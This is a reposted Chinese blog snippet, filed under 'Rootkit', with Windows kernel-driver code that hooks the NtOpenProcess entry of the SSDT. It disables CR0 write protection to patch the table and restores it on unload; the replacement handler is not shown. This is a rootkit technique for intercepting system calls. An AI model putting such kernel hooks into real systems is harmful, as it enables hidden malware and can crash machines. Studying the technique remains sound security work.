HOOK SSDT

HOOK SSDT

分类: Rootkit﹏ 59人阅读 评论(0) 收藏 举报

  1. NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
  2. {
  3. DriverObject->DriverUnload = OnUnload;
  4. Hook();
  5. return STATUS_SUCCESS;
  6. }
  7. // 此处修改SSDT中的NtOpenProcess服务地址
  8. VOID Hook()
  9. {
  10. ULONG Address;
  11. // 0x7A为NtOpenProcess服务号
  12. Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;
  13. RealServiceAddress = *(ULONG*)Address;
  14. RealNtOpenProcess = (NTOPENPROCESS)RealServiceAddress;
  15. DbgPrint( "Address of Real NtOpenProcess: 0x%08X/n", RealServiceAddress );
  16. DbgPrint(" Address of MyNtOpenProcess: 0x%08X/n", MyNtOpenProcess );
  17. // 去掉内存保护 ,这个主要是跟内存分页有关的,出现BSOD
  18. __asm
  19. {
  20. cli
  21. mov eax, cr0
  22. and eax, not 10000h
  23. mov cr0, eax
  24. }
  25. // 修改SSDT中NtOpenProcess服务的地址
  26. *((ULONG*)Address) = (ULONG)MyNtOpenProcess;
  27. // 恢复内存保护
  28. __asm
  29. {
  30. mov eax, cr0
  31. or eax, 10000h
  32. mov cr0, eax
  33. sti
  34. }
  35. }
  36. //这里是恢复
  37. VOID Unhook()
  38. {
  39. ULONG Address;
  40. Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;
  41. //一样的去掉内存保护
  42. __asm
  43. {
  44. cli
  45. mov eax, cr0
  46. and eax, not 10000h
  47. mov cr0, eax
  48. }
  49. // 还原SSDT
  50. *((ULONG*)Address) = (ULONG)RealServiceAddress;
  51. __asm
  52. {
  53. mov eax, cr0
  54. or eax, 10000h
  55. mov cr0, eax
  56. sti
  57. }
  58. DbgPrint("Unhook");
  59. }
  60. 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/webxeyes/archive/2009/03/17/3996783.aspx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值